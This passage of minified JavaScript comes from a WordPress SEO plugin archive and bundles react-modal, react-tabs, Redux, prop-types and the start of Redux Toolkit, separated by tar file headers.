e=Date.now()+r.props.closeTimeoutMS;r.setState({beforeClose:!0,closesAt:e},(function(){r.closeTimer=setTimeout(r.closeWithoutTimeout,r.state.closesAt-Date.now())}))},r.closeWithoutTimeout=function(){r.setState({beforeClose:!1,isOpen:!1,afterOpen:!1,closesAt:null},r.afterClose)},r.handleKeyDown=function(e){9===e.keyCode&&(0,u.default)(r.content,e),r.props.shouldCloseOnEsc&&27===e.keyCode&&(e.stopPropagation(),r.requestClose(e))},r.handleOverlayOnClick=function(e){null===r.shouldClose&&(r.shouldClose=!0),r.shouldClose&&r.props.shouldCloseOnOverlayClick&&(r.ownerHandlesClose()?r.requestClose(e):r.focusContent()),r.shouldClose=null},r.handleContentOnMouseUp=function(){r.shouldClose=!1},r.handleOverlayOnMouseDown=function(e){r.props.shouldCloseOnOverlayClick||e.target!=r.overlay||e.preventDefault()},r.handleContentOnClick=function(){r.shouldClose=!1},r.handleContentOnMouseDown=function(){r.shouldClose=!1},r.requestClose=function(e){return r.ownerHandlesClose()&&r.props.onRequestClose(e)},r.ownerHandlesClose=function(){return r.props.onRequestClose},r.shouldBeClosed=function(){return!r.state.isOpen&&!r.state.beforeClose},r.contentHasFocus=function(){return document.activeElement===r.content||r.content.contains(document.activeElement)},r.buildClassName=function(e,t){var o="object"===(void 0===t?"undefined":n(t))?t:{base:g[e],afterOpen:g[e]+"--after-open",beforeClose:g[e]+"--before-close"},a=o.base;return r.state.afterOpen&&(a=a+" "+o.afterOpen),r.state.beforeClose&&(a=a+" "+o.beforeClose),"string"==typeof t&&t?a+" "+t:a},r.attributesFromObject=function(e,t){return Object.keys(t).reduce((function(r,o){return r[e+"-"+o]=t[o],r}),{})},r.state={afterOpen:!1,beforeClose:!1},r.shouldClose=null,r.moveFromContentToOverlay=null,r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),a(t,[{key:"componentDidMount",value:function(){this.props.isOpen&&this.open()}},{key:"componentDidUpdate",value:function(e,t){this.props.isOpen&&!e.isOpen?this.open():!this.props.isOpen&&e.isOpen&&this.close(),this.props.shouldFocusAfterRender&&this.state.isOpen&&!t.isOpen&&this.focusContent()}},{key:"componentWillUnmount",value:function(){this.state.isOpen&&this.afterClose(),clearTimeout(this.closeTimer)}},{key:"beforeOpen",value:function(){var e=this.props,t=e.appElement,r=e.ariaHideApp,o=e.htmlOpenClassName,n=e.bodyOpenClassName;n&&c.add(document.body,n),o&&c.add(document.getElementsByTagName("html")[0],o),r&&(m+=1,d.hide(t)),p.default.register(this)}},{key:"render",value:function(){var e=this.props,t=e.id,r=e.className,n=e.overlayClassName,a=e.defaultStyles,l=e.children,s=r?{}:a.content,i=n?{}:a.overlay;if(this.shouldBeClosed())return null;var u={ref:this.setOverlayRef,className:this.buildClassName("overlay",n),style:o({},i,this.props.style.overlay),onClick:this.handleOverlayOnClick,onMouseDown:this.handleOverlayOnMouseDown},d=o({id:t,ref:this.setContentRef,style:o({},s,this.props.style.content),className:this.buildClassName("content",r),tabIndex:"-1",onKeyDown:this.handleKeyDown,onMouseDown:this.handleContentOnMouseDown,onMouseUp:this.handleContentOnMouseUp,onClick:this.handleContentOnClick,role:this.props.role,"aria-label":this.props.contentLabel},this.attributesFromObject("aria",o({modal:!0},this.props.aria)),this.attributesFromObject("data",this.props.data||{}),{"data-testid":this.props.testId}),c=this.props.contentElement(d,l);return this.props.overlayElement(u,c)}}]),t}(l.Component);y.defaultProps={style:{overlay:{},content:{}},defaultStyles:{}},y.propTypes={isOpen:s.default.bool.isRequired,defaultStyles:s.default.shape({content:s.default.object,overlay:s.default.object}),style:s.default.shape({content:s.default.object,overlay:s.default.object}),className:s.default.oneOfType([s.default.string,s.default.object]),overlayClassName:s.default.oneOfType([s.default.string,s.default.object]),bodyOpenClassName:s.default.string,htmlOpenClassName:s.default.string,ariaHideApp:s.default.bool,appElement:s.default.instanceOf(f.default),onAfterOpen:s.default.func,onAfterClose:s.default.func,onRequestClose:s.default.func,closeTimeoutMS:s.default.number,shouldFocusAfterRender:s.default.bool,shouldCloseOnOverlayClick:s.default.bool,shouldReturnFocusAfterClose:s.default.bool,preventScroll:s.default.bool,role:s.default.string,contentLabel:s.default.string,aria:s.default.object,data:s.default.object,children:s.default.node,shouldCloseOnEsc:s.default.bool,overlayRef:s.default.func,contentRef:s.default.func,id:s.default.string,overlayElement:s.default.func,contentElement:s.default.func,testId:s.default.string},t.default=y,e.exports=t.default},57149:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.assertNodeList=s,t.setElement=function(e){var t=e;if("string"==typeof t&&a.canUseDOM){var r=document.querySelectorAll(t);s(r,t),t="length"in r?r[0]:r}return l=t||l},t.validateElement=i,t.hide=function(e){i(e)&&(e||l).setAttribute("aria-hidden","true")},t.show=function(e){i(e)&&(e||l).removeAttribute("aria-hidden")},t.documentNotReadyOrSSRTesting=function(){l=null},t.resetForTesting=function(){l=null};var o,n=(o=r(42473))&&o.__esModule?o:{default:o},a=r(51112),l=null;function s(e,t){if(!e||!e.length)throw new Error("react-modal: No elements were found for selector "+t+".")}function i(e){return!(!e&&!l&&((0,n.default)(!1,["react-modal: App element is not defined.","Please use `Modal.setAppElement(el)` or set `appElement={el}`.","This is needed so screen readers don't see main content","when modal is opened. It is not recommended, but you can opt-out","by setting `ariaHideApp={false}`."].join(" ")),1))}},35063:(e,t,r)=>{"use strict";var o,n=(o=r(89623))&&o.__esModule?o:{default:o},a=void 0,l=void 0,s=[];function i(){0!==s.length&&s[s.length-1].focusContent()}n.default.subscribe((function(e,t){a&&l||((a=document.createElement("div")).setAttribute("data-react-modal-body-trap",""),a.style.position="absolute",a.style.opacity="0",a.setAttribute("tabindex","0"),a.addEventListener("focus",i),(l=a.cloneNode()).addEventListener("focus",i)),(s=t).length>0?(document.body.firstChild!==a&&document.body.insertBefore(a,document.body.firstChild),document.body.lastChild!==l&&document.body.appendChild(l)):(a.parentElement&&a.parentElement.removeChild(a),l.parentElement&&l.parentElement.removeChild(l))}))},32409:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.dumpClassLists=function(){};var r={},o={};t.add=function(e,t){return n=e.classList,a="html"==e.nodeName.toLowerCase()?r:o,void t.split(" ").forEach((function(e){!function(e,t){e[t]||(e[t]=0),e[t]+=1}(a,e),n.add(e)}));var n,a},t.remove=function(e,t){return n=e.classList,a="html"==e.nodeName.toLowerCase()?r:o,void t.split(" ").forEach((function(e){!function(e,t){e[t]&&(e[t]-=1)}(a,e),0===a[e]&&n.remove(e)}));var n,a}},99685:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.handleBlur=i,t.handleFocus=u,t.markForFocusLater=function(){a.push(document.activeElement)},t.returnFocus=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=null;try{return void(0!==a.length&&(t=a.pop()).focus({preventScroll:e}))}catch(e){console.warn(["You tried to return focus to",t,"but it is not in the DOM anymore"].join(" "))}},t.popWithoutFocus=function(){a.length>0&&a.pop()},t.setupScopedFocus=function(e){l=e,window.addEventListener?(window.addEventListener("blur",i,!1),document.addEventListener("focus",u,!0)):(window.attachEvent("onBlur",i),document.attachEvent("onFocus",u))},t.teardownScopedFocus=function(){l=null,window.addEventListener?(window.removeEventListener("blur",i),document.removeEventListener("focus",u)):(window.detachEvent("onBlur",i),document.detachEvent("onFocus",u))};var o,n=(o=r(37845))&&o.__esModule?o:{default:o},a=[],l=null,s=!1;function i(){s=!0}function u(){if(s){if(s=!1,!l)return;setTimeout((function(){l.contains(document.activeElement)||((0,n.default)(l)[0]||l).focus()}),0)}}},89623:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=new function e(){var t=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.register=function(e){-1===t.openInstances.indexOf(e)&&(t.openInstances.push(e),t.emit("register"))},this.deregister=function(e){var r=t.openInstances.indexOf(e);-1!==r&&(t.openInstances.splice(r,1),t.emit("deregister"))},this.subscribe=function(e){t.subscribers.push(e)},this.emit=function(e){t.subscribers.forEach((function(r){return r(e,t.openInstances.slice())}))},this.openInstances=[],this.subscribers=[]};t.default=r,e.exports=t.default},51112:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.canUseDOM=void 0;var o,n=((o=r(58875))&&o.__esModule?o:{default:o}).default,a=n.canUseDOM?window.HTMLElement:{};t.canUseDOM=n.canUseDOM,t.default=a},88338:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){var r=(0,n.default)(e);if(r.length){var o=void 0,a=t.shiftKey,l=r[0],s=r[r.length-1];if(e===document.activeElement){if(!a)return;o=s}if(s!==document.activeElement||a||(o=l),l===document.activeElement&&a&&(o=s),o)return t.preventDefault(),void o.focus();var i=/(\bChrome\b|\bSafari\b)\//.exec(navigator.userAgent);if(null!=i&&"Chrome"!=i[1]&&null==/\biPod\b|\biPad\b/g.exec(navigator.userAgent)){var u=r.indexOf(document.activeElement);if(u>-1&&(u+=a?-1:1),void 0===(o=r[u]))return t.preventDefault(),void(o=a?s:l).focus();t.preventDefault(),o.focus()}}else t.preventDefault()};var o,n=(o=r(37845))&&o.__esModule?o:{default:o};e.exports=t.default},37845:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return[].slice.call(e.querySelectorAll("*"),0).filter(n)};var r=/input|select|textarea|button|object/;function o(e){var t=e.offsetWidth<=0&&e.offsetHeight<=0;if(t&&!e.innerHTML)return!0;var r=window.getComputedStyle(e);return t?"visible"!==r.getPropertyValue("overflow")||e.scrollWidth<=0&&e.scrollHeight<=0:"none"==r.getPropertyValue("display")}function n(e){var t=e.getAttribute("tabindex");null===t&&(t=void 0);var n=isNaN(t);return(n||t>=0)&&function(e,t){var n=e.nodeName.toLowerCase();return(r.test(n)&&!e.disabled||"a"===n&&e.href||t)&&function(e){for(var t=e;t&&t!==document.body;){if(o(t))return!1;t=t.parentNode}return!0}(e)}(e,!n)}e.exports=t.default},83253:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o,n=(o=r(29983))&&o.__esModule?o:{default:o};t.default=n.default,e.exports=t.default},340:(e,t,r)=>{"use strict";r.r(t),r.d(t,{Tab:()=>j,TabList:()=>P,TabPanel:()=>T,Tabs:()=>O,resetIdCounter:()=>g}),r(85890);var o=r(99196),n=r.n(o);function a(e){return e.type&&"Tab"===e.type.tabsRole}function l(e){return e.type&&"TabPanel"===e.type.tabsRole}function s(e){return e.type&&"TabList"===e.type.tabsRole}function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function u(e,t){return o.Children.map(e,(function(e){return null===e?null:function(e){return a(e)||s(e)||l(e)}(e)?t(e):e.props&&e.props.children&&"object"==typeof e.props.children?(0,o.cloneElement)(e,function(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{},o=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(r).filter((function(e){return Object.getOwnPropertyDescriptor(r,e).enumerable})))),o.forEach((function(t){i(e,t,r[t])}))}return e}({},e.props,{children:u(e.props.children,t)})):e}))}function d(e,t){return o.Children.forEach(e,(function(e){null!==e&&(a(e)||l(e)?t(e):e.props&&e.props.children&&"object"==typeof e.props.children&&(s(e)&&t(e),d(e.props.children,t)))}))}var c,f=r(94184),p=r.n(f),h=0;function b(){return"react-tabs-"+h++}function g(){h=0}function m(e){var t=0;return d(e,(function(e){a(e)&&t++})),t}function y(){return y=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},y.apply(this,arguments)}function v(e){return e&&"getAttribute"in e}function _(e){return v(e)&&"tab"===e.getAttribute("role")}function x(e){return v(e)&&"true"===e.getAttribute("aria-disabled")}try{c=!("undefined"==typeof window||!window.document||!window.document.activeElement)}catch(e){c=!1}var C=function(e){var t,r;function i(){for(var t,r=arguments.length,o=new Array(r),n=0;n<r;n++)o[n]=arguments[n];return(t=e.call.apply(e,[this].concat(o))||this).tabNodes=[],t.handleKeyDown=function(e){if(t.isTabFromContainer(e.target)){var r=t.props.selectedIndex,o=!1,n=!1;32!==e.keyCode&&13!==e.keyCode||(o=!0,n=!1,t.handleClick(e)),37===e.keyCode||38===e.keyCode?(r=t.getPrevTab(r),o=!0,n=!0):39===e.keyCode||40===e.keyCode?(r=t.getNextTab(r),o=!0,n=!0):35===e.keyCode?(r=t.getLastTab(),o=!0,n=!0):36===e.keyCode&&(r=t.getFirstTab(),o=!0,n=!0),o&&e.preventDefault(),n&&t.setSelected(r,e)}},t.handleClick=function(e){var r=e.target;do{if(t.isTabFromContainer(r)){if(x(r))return;var o=[].slice.call(r.parentNode.children).filter(_).indexOf(r);return void t.setSelected(o,e)}}while(null!=(r=r.parentNode))},t}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var f=i.prototype;return f.setSelected=function(e,t){if(!(e<0||e>=this.getTabsCount())){var r=this.props;(0,r.onSelect)(e,r.selectedIndex,t)}},f.getNextTab=function(e){for(var t=this.getTabsCount(),r=e+1;r<t;r++)if(!x(this.getTab(r)))return r;for(var o=0;o<e;o++)if(!x(this.getTab(o)))return o;return e},f.getPrevTab=function(e){for(var t=e;t--;)if(!x(this.getTab(t)))return t;for(t=this.getTabsCount();t-- >e;)if(!x(this.getTab(t)))return t;return e},f.getFirstTab=function(){for(var e=this.getTabsCount(),t=0;t<e;t++)if(!x(this.getTab(t)))return t;return null},f.getLastTab=function(){for(var e=this.getTabsCount();e--;)if(!x(this.getTab(e)))return e;return null},f.getTabsCount=function(){return m(this.props.children)},f.getPanelsCount=function(){return e=this.props.children,t=0,d(e,(function(e){l(e)&&t++})),t;var e,t},f.getTab=function(e){return this.tabNodes["tabs-"+e]},f.getChildren=function(){var e=this,t=0,r=this.props,i=r.children,d=r.disabledTabClassName,f=r.focus,p=r.forceRenderTabPanel,h=r.selectedIndex,g=r.selectedTabClassName,m=r.selectedTabPanelClassName;this.tabIds=this.tabIds||[],this.panelIds=this.panelIds||[];for(var y=this.tabIds.length-this.getTabsCount();y++<0;)this.tabIds.push(b()),this.panelIds.push(b());return u(i,(function(r){var i=r;if(s(r)){var b=0,y=!1;c&&(y=n().Children.toArray(r.props.children).filter(a).some((function(t,r){return document.activeElement===e.getTab(r)}))),i=(0,o.cloneElement)(r,{children:u(r.props.children,(function(t){var r="tabs-"+b,n=h===b,a={tabRef:function(t){e.tabNodes[r]=t},id:e.tabIds[b],panelId:e.panelIds[b],selected:n,focus:n&&(f||y)};return g&&(a.selectedClassName=g),d&&(a.disabledClassName=d),b++,(0,o.cloneElement)(t,a)}))})}else if(l(r)){var v={id:e.panelIds[t],tabId:e.tabIds[t],selected:h===t};p&&(v.forceRender=p),m&&(v.selectedClassName=m),t++,i=(0,o.cloneElement)(r,v)}return i}))},f.isTabFromContainer=function(e){if(!_(e))return!1;var t=e.parentElement;do{if(t===this.node)return!0;if(t.getAttribute("data-tabs"))break;t=t.parentElement}while(t);return!1},f.render=function(){var e=this,t=this.props,r=(t.children,t.className),o=(t.disabledTabClassName,t.domRef),a=(t.focus,t.forceRenderTabPanel,t.onSelect,t.selectedIndex,t.selectedTabClassName,t.selectedTabPanelClassName,function(e,t){if(null==e)return{};var r,o,n={},a=Object.keys(e);for(o=0;o<a.length;o++)r=a[o],t.indexOf(r)>=0||(n[r]=e[r]);return n}(t,["children","className","disabledTabClassName","domRef","focus","forceRenderTabPanel","onSelect","selectedIndex","selectedTabClassName","selectedTabPanelClassName"]));return n().createElement("div",y({},a,{className:p()(r),onClick:this.handleClick,onKeyDown:this.handleKeyDown,ref:function(t){e.node=t,o&&o(t)},"data-tabs":!0}),this.getChildren())},i}(o.Component);C.defaultProps={className:"react-tabs",focus:!1},C.propTypes={};var O=function(e){var t,r;function o(t){var r;return(r=e.call(this,t)||this).handleSelected=function(e,t,n){var a=r.props.onSelect;if("function"!=typeof a||!1!==a(e,t,n)){var l={focus:"keydown"===n.type};o.inUncontrolledMode(r.props)&&(l.selectedIndex=e),r.setState(l)}},r.state=o.copyPropsToState(r.props,{},t.defaultFocus),r}r=e,(t=o).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var a=o.prototype;return a.componentWillReceiveProps=function(e){this.setState((function(t){return o.copyPropsToState(e,t)}))},o.inUncontrolledMode=function(e){return null===e.selectedIndex},o.copyPropsToState=function(e,t,r){void 0===r&&(r=!1);var n={focus:r};if(o.inUncontrolledMode(e)){var a,l=m(e.children)-1;a=null!=t.selectedIndex?Math.min(t.selectedIndex,l):e.defaultIndex||0,n.selectedIndex=a}return n},a.render=function(){var e=this.props,t=e.children,r=(e.defaultIndex,e.defaultFocus,function(e,t){if(null==e)return{};var r,o,n={},a=Object.keys(e);for(o=0;o<a.length;o++)r=a[o],t.indexOf(r)>=0||(n[r]=e[r]);return n}(e,["children","defaultIndex","defaultFocus"])),o=this.state,a=o.focus,l=o.selectedIndex;return r.focus=a,r.onSelect=this.handleSelected,null!=l&&(r.selectedIndex=l),n().createElement(C,r,t)},o}(o.Component);function w(){return w=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},w.apply(this,arguments)}O.defaultProps={defaultFocus:!1,forceRenderTabPanel:!1,selectedIndex:null,defaultIndex:null},O.propTypes={},O.tabsRole="Tabs";var P=function(e){var t,r;function o(){return e.apply(this,arguments)||this}return r=e,(t=o).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,o.prototype.render=function(){var e=this.props,t=e.children,r=e.className,o=function(e,t){if(null==e)return{};var r,o,n={},a=Object.keys(e);for(o=0;o<a.length;o++)r=a[o],t.indexOf(r)>=0||(n[r]=e[r]);return n}(e,["children","className"]);return n().createElement("ul",w({},o,{className:p()(r),role:"tablist"}),t)},o}(o.Component);function k(){return k=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},k.apply(this,arguments)}P.defaultProps={className:"react-tabs__tab-list"},P.propTypes={},P.tabsRole="TabList";var E="react-tabs__tab",j=function(e){var t,r;function o(){return e.apply(this,arguments)||this}r=e,(t=o).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var a=o.prototype;return a.componentDidMount=function(){this.checkFocus()},a.componentDidUpdate=function(){this.checkFocus()},a.checkFocus=function(){var e=this.props,t=e.selected,r=e.focus;t&&r&&this.node.focus()},a.render=function(){var e,t=this,r=this.props,o=r.children,a=r.className,l=r.disabled,s=r.disabledClassName,i=(r.focus,r.id),u=r.panelId,d=r.selected,c=r.selectedClassName,f=r.tabIndex,h=r.tabRef,b=function(e,t){if(null==e)return{};var r,o,n={},a=Object.keys(e);for(o=0;o<a.length;o++)r=a[o],t.indexOf(r)>=0||(n[r]=e[r]);return n}(r,["children","className","disabled","disabledClassName","focus","id","panelId","selected","selectedClassName","tabIndex","tabRef"]);return n().createElement("li",k({},b,{className:p()(a,(e={},e[c]=d,e[s]=l,e)),ref:function(e){t.node=e,h&&h(e)},role:"tab",id:i,"aria-selected":d?"true":"false","aria-disabled":l?"true":"false","aria-controls":u,tabIndex:f||(d?"0":null)}),o)},o}(o.Component);function S(){return S=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},S.apply(this,arguments)}j.defaultProps={className:E,disabledClassName:E+"--disabled",focus:!1,id:null,panelId:null,selected:!1,selectedClassName:E+"--selected"},j.propTypes={},j.tabsRole="Tab";var M="react-tabs__tab-panel",T=function(e){var t,r;function o(){return e.apply(this,arguments)||this}return r=e,(t=o).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,o.prototype.render=function(){var e,t=this.props,r=t.children,o=t.className,a=t.forceRender,l=t.id,s=t.selected,i=t.selectedClassName,u=t.tabId,d=function(e,t){if(null==e)return{};var r,o,n={},a=Object.keys(e);for(o=0;o<a.length;o++)r=a[o],t.indexOf(r)>=0||(n[r]=e[r]);return n}(t,["children","className","forceRender","id","selected","selectedClassName","tabId"]);return n().createElement("div",S({},d,{className:p()(o,(e={},e[i]=s,e)),role:"tabpanel",id:l,"aria-labelledby":u}),a||s?r:null)},o}(o.Component);T.defaultProps={className:M,forceRender:!1,selectedClassName:M+"--selected"},T.propTypes={},T.tabsRole="TabPanel"},42473:e=>{"use strict";e.exports=function(){}},99196:e=>{"use strict";e.exports=window.React},91850:e=>{"use strict";e.exports=window.ReactDOM},92819:e=>{"use strict";e.exports=window.lodash},57349:e=>{"use strict";e.exports=window.lodash.flow},66366:e=>{"use strict";e.exports=window.lodash.isEmpty},16653:e=>{"use strict";e.exports=window.lodash.omit},25158:e=>{"use strict";e.exports=window.wp.a11y},65736:e=>{"use strict";e.exports=window.wp.i18n},23695:e=>{"use strict";e.exports=window.yoast.helpers},85890:e=>{"use strict";e.exports=window.yoast.propTypes},92651:e=>{"use strict";e.exports=window.yoast.reactSelect},37188:e=>{"use strict";e.exports=window.yoast.styleGuide},98487:e=>{"use strict";e.exports=window.yoast.styledComponents}},t={};function r(o){var n=t[o];if(void 0!==n)return n.exports;var a=t[o]={exports:{}};return e[o](a,a.exports,r),a.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var o in t)r.o(t,o)&&!r.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o=r(95235);(window.yoast=window.yoast||{}).componentsNew=o})();wordpress-seo/js/dist/externals/redux.js000064400000011633147510273070014443 0ustar00(()=>{"use strict";var r={d:(t,e)=>{for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},o:(r,t)=>Object.prototype.hasOwnProperty.call(r,t),r:r=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(r,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(r,"__esModule",{value:!0})}},t={};function e(r){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(r){return typeof r}:function(r){return r&&"function"==typeof Symbol&&r.constructor===Symbol&&r!==Symbol.prototype?"symbol":typeof r},e(r)}function n(r){var t=function(r,t){if("object"!=e(r)||!r)return r;var n=r[Symbol.toPrimitive];if(void 0!==n){var o=n.call(r,"string");if("object"!=e(o))return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(r)}(r);return"symbol"==e(t)?t:String(t)}function o(r,t){var e=Object.keys(r);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(r);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable}))),e.push.apply(e,n)}return e}function i(r){for(var t=1;t<arguments.length;t++){var e=null!=arguments[t]?arguments[t]:{};t%2?o(Object(e),!0).forEach((function(t){var o,i,f;o=r,i=t,f=e[t],(i=n(i))in o?Object.defineProperty(o,i,{value:f,enumerable:!0,configurable:!0,writable:!0}):o[i]=f})):Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(e)):o(Object(e)).forEach((function(t){Object.defineProperty(r,t,Object.getOwnPropertyDescriptor(e,t))}))}return r}function f(r){return"Minified Redux error #"+r+"; visit https://redux.js.org/Errors?code="+r+" for the full message or use the non-minified dev environment for full errors. "}r.r(t),r.d(t,{__DO_NOT_USE__ActionTypes:()=>y,applyMiddleware:()=>v,bindActionCreators:()=>b,combineReducers:()=>a,compose:()=>s,createStore:()=>p});var u="function"==typeof Symbol&&Symbol.observable||"@@observable",c=function(){return Math.random().toString(36).substring(7).split("").join(".")},y={INIT:"@@redux/INIT"+c(),REPLACE:"@@redux/REPLACE"+c(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+c()}};function p(r,t,e){var n;if("function"==typeof t&&"function"==typeof e||"function"==typeof e&&"function"==typeof arguments[3])throw new Error(f(0));if("function"==typeof t&&void 0===e&&(e=t,t=void 0),void 0!==e){if("function"!=typeof e)throw new Error(f(1));return e(p)(r,t)}if("function"!=typeof r)throw new Error(f(2));var o=r,i=t,c=[],a=c,l=!1;function b(){a===c&&(a=c.slice())}function s(){if(l)throw new Error(f(3));return i}function v(r){if("function"!=typeof r)throw new Error(f(4));if(l)throw new Error(f(5));var t=!0;return b(),a.push(r),function(){if(t){if(l)throw new Error(f(6));t=!1,b();var e=a.indexOf(r);a.splice(e,1),c=null}}}function w(r){if(!function(r){if("object"!=typeof r||null===r)return!1;for(var t=r;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(r)===t}(r))throw new Error(f(7));if(void 0===r.type)throw new Error(f(8));if(l)throw new Error(f(9));try{l=!0,i=o(i,r)}finally{l=!1}for(var t=c=a,e=0;e<t.length;e++)(0,t[e])();return r}return w({type:y.INIT}),(n={dispatch:w,subscribe:v,getState:s,replaceReducer:function(r){if("function"!=typeof r)throw new Error(f(10));o=r,w({type:y.REPLACE})}})[u]=function(){var r,t=v;return(r={subscribe:function(r){if("object"!=typeof r||null===r)throw new Error(f(11));function e(){r.next&&r.next(s())}return e(),{unsubscribe:t(e)}}})[u]=function(){return this},r},n}function a(r){for(var t=Object.keys(r),e={},n=0;n<t.length;n++){var o=t[n];"function"==typeof r[o]&&(e[o]=r[o])}var i,u=Object.keys(e);try{!function(r){Object.keys(r).forEach((function(t){var e=r[t];if(void 0===e(void 0,{type:y.INIT}))throw new Error(f(12));if(void 0===e(void 0,{type:y.PROBE_UNKNOWN_ACTION()}))throw new Error(f(13))}))}(e)}catch(r){i=r}return function(r,t){if(void 0===r&&(r={}),i)throw i;for(var n=!1,o={},c=0;c<u.length;c++){var y=u[c],p=e[y],a=r[y],l=p(a,t);if(void 0===l)throw t&&t.type,new Error(f(14));o[y]=l,n=n||l!==a}return(n=n||u.length!==Object.keys(r).length)?o:r}}function l(r,t){return function(){return t(r.apply(this,arguments))}}function b(r,t){if("function"==typeof r)return l(r,t);if("object"!=typeof r||null===r)throw new Error(f(16));var e={};for(var n in r){var o=r[n];"function"==typeof o&&(e[n]=l(o,t))}return e}function s(){for(var r=arguments.length,t=new Array(r),e=0;e<r;e++)t[e]=arguments[e];return 0===t.length?function(r){return r}:1===t.length?t[0]:t.reduce((function(r,t){return function(){return r(t.apply(void 0,arguments))}}))}function v(){for(var r=arguments.length,t=new Array(r),e=0;e<r;e++)t[e]=arguments[e];return function(r){return function(){var e=r.apply(void 0,arguments),n=function(){throw new Error(f(15))},o={getState:e.getState,dispatch:function(){return n.apply(void 0,arguments)}},u=t.map((function(r){return r(o)}));return n=s.apply(void 0,u)(e.dispatch),i(i({},e),{},{dispatch:n})}}}(window.yoast=window.yoast||{}).redux=t})();wordpress-seo/js/dist/externals/propTypes.js000064400000001707147510273070015322 0ustar00(()=>{var e={92703:(e,r,t)=>{"use strict";var o=t(50414);function n(){}function p(){}p.resetWarningCache=n,e.exports=function(){function e(e,r,t,n,p,s){if(s!==o){var a=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw a.name="Invariant Violation",a}}function r(){return e}e.isRequired=e;var t={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:r,element:e,elementType:e,instanceOf:r,node:e,objectOf:r,oneOf:r,oneOfType:r,shape:r,exact:r,checkPropTypes:p,resetWarningCache:n};return t.PropTypes=t,t}},45697:(e,r,t)=>{e.exports=t(92703)()},50414:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"}},r={},t=function t(o){var n=r[o];if(void 0!==n)return n.exports;var p=r[o]={exports:{}};return e[o](p,p.exports,t),p.exports}(45697);(window.yoast=window.yoast||{}).propTypes=t})();wordpress-seo/js/dist/externals/reduxJsToolkit.js000064400000107370147510273070016312 0ustar00(()=>{"use strict";var e={65139:(e,t,n)=>{function r(e){return function(t){var n=t.dispatch,r=t.getState;return function(t){return function(i){return"function"==typeof i?i(n,r,e):t(i)}}}}n.d(t,{Z:()=>o});var i=r();i.withExtraArgument=r;const o=i},20573:(e,t,n)=>{n.d(t,{P1:()=>a});var r="NOT_FOUND",i=function(e,t){return e===t};function o(e,t){var n,o,u="object"==typeof t?t:{equalityCheck:t},a=u.equalityCheck,c=void 0===a?i:a,f=u.maxSize,l=void 0===f?1:f,s=u.resultEqualityCheck,d=function(e){return function(t,n){if(null===t||null===n||t.length!==n.length)return!1;for(var r=t.length,i=0;i<r;i++)if(!e(t[i],n[i]))return!1;return!0}}(c),p=1===l?(n=d,{get:function(e){return o&&n(o.key,e)?o.value:r},put:function(e,t){o={key:e,value:t}},getEntries:function(){return o?[o]:[]},clear:function(){o=void 0}}):function(e,t){var n=[];function i(e){var 